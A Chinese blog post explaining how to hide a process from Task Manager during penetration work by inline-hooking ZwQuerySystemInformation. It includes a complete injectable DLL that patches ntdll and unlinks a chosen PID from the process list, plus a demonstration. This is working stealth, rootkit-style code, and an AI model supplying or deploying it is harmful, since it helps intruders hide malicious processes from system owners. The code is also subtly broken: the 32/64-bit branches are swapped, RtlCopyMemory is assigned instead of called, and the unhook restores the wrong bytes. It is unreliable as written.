Drunkmars's Blog

关于进程隐藏的探究

字数统计: 3.1k阅读时长: 13 min
2021/10/21

本文将分析并实现进程隐藏。

基础知识

进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。

我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示

image-20211020185215524

那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。

那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏

实现过程

那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行

简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。

在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。

CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。

假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。

那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。

我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。

硬编码

何为硬编码?

这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。

硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了

这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp

这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构

1
2
3
4
5
6
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA

1
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址

1
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678jmp rax,对应的硬编码就是48 b8 7856341278563412ff e0,需要修改12个字节

在32位的情况下,修改5个字节

1
BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };

计算偏移地址,计算公式为新地址 - 旧地址 - 5

1
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;

因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存

1
2
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));

64位的情况下同理,只是修改字节为12个字节

1
2
3
4
BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));

然后修改权限为可读可写可执行权限,否则会报错0xC0000005

1
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);

修改硬编码,再还原属性

1
2
3
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));

::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void UnHookAPI()
{
//获取ntdll.dll基址

HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully!\n\n");
}

// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}

// 修改为可读可写可执行权限
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 32位下还原5字节,64位下还原12字节

#ifdef _WIN64
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif
// 还原权限
::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);

当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除

那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱

1
UnHookAPI();

然后加载ntdll.dll

1
HMODULE hDll = ::LoadLibraryA("ntdll.dll");

再获取ZwQuerySystemInformation的基址

1
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

这里看一下ZwQuerySystemInformation这个函数结构

1
2
3
4
5
6
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS ,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息

1
2
3
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

if (NT_SUCCESS(status) && 5 == SystemInformationClass)

这里我们定义一个指针指向返回结果信息的缓冲区

1
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

判断如果是我们想要隐藏进程的PID则删除进程信息

1
if (HideProcessID == (DWORD)pCur->UniqueProcessId)

删除完成之后我们再还原hook

1
HookAPI();

我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <Winternl.h>

HMODULE g_hModule;
BYTE g_Oldwin32[5] = { 0 };
BYTE g_Oldwin64[12] = { 0 };

#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")

NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

void HookAPI();
void UnHookAPI();

void HookAPI()
{

//获取ntdll.dll基址

HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully!\n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}

// 32位则修改前5字节,64位则修改前12字节

#ifdef _WIN64
// jmp New_ZwQuerySystemInformation
// E9 xx xx xx xx

BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };

// 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));

#else
// mov rax, 0x1234567812345678
// jmp rax
// 48 b8 7856341278563412
// ff e0

BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));

#endif
DWORD dwOldProtect = 0;

//修改为可读可写可执行权限
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));

//还原权限
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}

void UnHookAPI()
{
//获取ntdll.dll基址

HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully!\n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif

// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}

// 修改为可读可写可执行权限
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 32位下还原5字节,64位下还原12字节

#ifdef _WIN64
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else
::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif

// 还原权限
::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}

NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL;
PSYSTEM_PROCESS_INFORMATION pPrev = NULL;

// 隐藏进程的PID
DWORD HideProcessID = 13972;

// 卸载钩子
UnHookAPI();

HMODULE hDll = ::LoadLibraryA("ntdll.dll");
if (hDll == NULL)
{
printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());
return status;
}
else
{
printf("[*] LoadLibraryA successfully!\n\n");
}

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif

// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
return status;
}
else
{
printf("[*] ZwQuerySystemInformation successfully!\n\n");
}

// 调用原函数 ZwQuerySystemInformation
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while (TRUE)
{
// 若为隐藏的进程PID则删除进程信息
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
{
if (pCur->NextEntryOffset == 0)
{
pPrev->NextEntryOffset = 0;
}

else
{
pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;
}
}

else
{
pPrev = pCur;
}

if (pCur->NextEntryOffset == 0)
{
break;
}

pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
}

HookAPI();

return status;
}


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HookAPI();
g_hModule = hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
UnHookAPI();
break;
}
return TRUE;
}

实现效果

这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面

image-20211021100218465

我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入

image-20211021100228319

再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功

image-20211021100753646

CATALOG
  1. 1. 基础知识
  2. 2. 实现过程
  3. 3. 实现效果